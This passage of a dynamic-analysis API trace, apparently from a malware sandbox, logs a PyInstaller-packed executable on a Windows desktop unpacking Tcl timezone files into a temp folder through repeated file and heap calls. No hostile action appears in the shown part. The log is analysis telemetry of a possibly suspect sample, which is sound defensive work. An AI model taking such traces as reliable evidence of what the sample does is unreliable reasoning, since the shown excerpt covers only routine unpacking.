returned 1 [0042.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.006] CloseHandle (hObject=0x10c) returned 1 [0042.006] GetLastError () returned 0x0 [0042.006] SetLastError (dwErrCode=0x0) [0042.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.006] GetFileType (hFile=0x10c) returned 0x1 [0042.006] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.006] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.006] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.006] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.007] CloseHandle (hObject=0x10c) returned 1 [0042.007] GetLastError () returned 0x0 [0042.007] SetLastError (dwErrCode=0x0) [0042.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0") returned 66 [0042.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.007] GetLastError () returned 0x2 [0042.007] SetLastError (dwErrCode=0x2) [0042.007] GetLastError () returned 0x2 [0042.007] SetLastError (dwErrCode=0x2) [0042.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0", lpFilePart=0x0) returned 0x41 [0042.007] GetLastError () returned 0x2 [0042.007] SetLastError (dwErrCode=0x2) [0042.007] GetLastError () returned 0x2 [0042.007] SetLastError (dwErrCode=0x2) [0042.007] GetLastError () returned 0x2 [0042.007] SetLastError (dwErrCode=0x2) [0042.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0") returned 66 [0042.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.007] GetFileType (hFile=0x10c) returned 0x1 [0042.007] htonl (hostlong=0x9a000000) returned 0x9a [0042.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.007] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9a, lpOverlapped=0x0) returned 1 [0042.040] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.040] CloseHandle (hObject=0x10c) returned 1 [0042.040] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.041] htonl (hostlong=0x30000000) returned 0x30 [0042.041] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.041] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.041] GetFileType (hFile=0x10c) returned 0x1 [0042.041] htonl (hostlong=0x3bbb5b00) returned 0x5bbb3b [0042.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606b3b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.041] htonl (hostlong=0x72000000) returned 0x72 [0042.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x55cfe0 [0042.041] htonl (hostlong=0x72000000) returned 0x72 [0042.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.041] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.041] htonl (hostlong=0x70000000) returned 0x70 [0042.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x70) returned 0x550600 [0042.041] htonl (hostlong=0x72000000) returned 0x72 [0042.041] htonl (hostlong=0x70000000) returned 0x70 [0042.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.041] CloseHandle (hObject=0x10c) returned 1 [0042.041] GetLastError () returned 0x0 [0042.041] SetLastError (dwErrCode=0x0) [0042.041] GetLastError () returned 0x0 [0042.041] SetLastError (dwErrCode=0x0) [0042.042] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.042] GetFileType (hFile=0x10c) returned 0x1 [0042.042] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.042] CloseHandle (hObject=0x10c) returned 1 [0042.042] GetLastError () returned 0x0 [0042.042] SetLastError (dwErrCode=0x0) [0042.042] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.042] GetFileType (hFile=0x10c) returned 0x1 [0042.042] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.043] CloseHandle (hObject=0x10c) returned 1 [0042.043] GetLastError () returned 0x0 [0042.043] SetLastError (dwErrCode=0x0) [0042.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.043] GetFileType (hFile=0x10c) returned 0x1 [0042.043] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.043] CloseHandle (hObject=0x10c) returned 1 [0042.043] GetLastError () returned 0x0 [0042.043] SetLastError (dwErrCode=0x0) [0042.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1") returned 66 [0042.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-1"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.043] GetLastError () returned 0x2 [0042.043] SetLastError (dwErrCode=0x2) [0042.043] GetLastError () returned 0x2 [0042.044] SetLastError (dwErrCode=0x2) [0042.044] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1", lpFilePart=0x0) returned 0x41 [0042.044] GetLastError () returned 0x2 [0042.044] SetLastError (dwErrCode=0x2) [0042.044] GetLastError () returned 0x2 [0042.044] SetLastError (dwErrCode=0x2) [0042.044] GetLastError () returned 0x2 [0042.044] SetLastError (dwErrCode=0x2) [0042.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1") returned 66 [0042.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.044] GetFileType (hFile=0x10c) returned 0x1 [0042.044] htonl (hostlong=0x70000000) returned 0x70 [0042.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.044] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x70, lpOverlapped=0x0) returned 1 [0042.045] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.045] CloseHandle (hObject=0x10c) returned 1 [0042.045] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.045] htonl (hostlong=0x30000000) returned 0x30 [0042.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.046] GetFileType (hFile=0x10c) returned 0x1 [0042.046] htonl (hostlong=0xadbb5b00) returned 0x5bbbad [0042.046] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606bad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.046] htonl (hostlong=0x74000000) returned 0x74 [0042.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.046] htonl (hostlong=0x74000000) returned 0x74 [0042.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.046] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.046] htonl (hostlong=0x73000000) returned 0x73 [0042.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0042.046] htonl (hostlong=0x74000000) returned 0x74 [0042.046] htonl (hostlong=0x73000000) returned 0x73 [0042.046] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.046] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.046] CloseHandle (hObject=0x10c) returned 1 [0042.046] GetLastError () returned 0x0 [0042.046] SetLastError (dwErrCode=0x0) [0042.046] GetLastError () returned 0x0 [0042.046] SetLastError (dwErrCode=0x0) [0042.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.047] GetFileType (hFile=0x10c) returned 0x1 [0042.047] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.047] CloseHandle (hObject=0x10c) returned 1 [0042.047] GetLastError () returned 0x0 [0042.047] SetLastError (dwErrCode=0x0) [0042.047] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.047] GetFileType (hFile=0x10c) returned 0x1 [0042.047] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.047] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.047] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.047] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.048] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.048] CloseHandle (hObject=0x10c) returned 1 [0042.048] GetLastError () returned 0x0 [0042.048] SetLastError (dwErrCode=0x0) [0042.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.048] GetFileType (hFile=0x10c) returned 0x1 [0042.048] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.048] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, 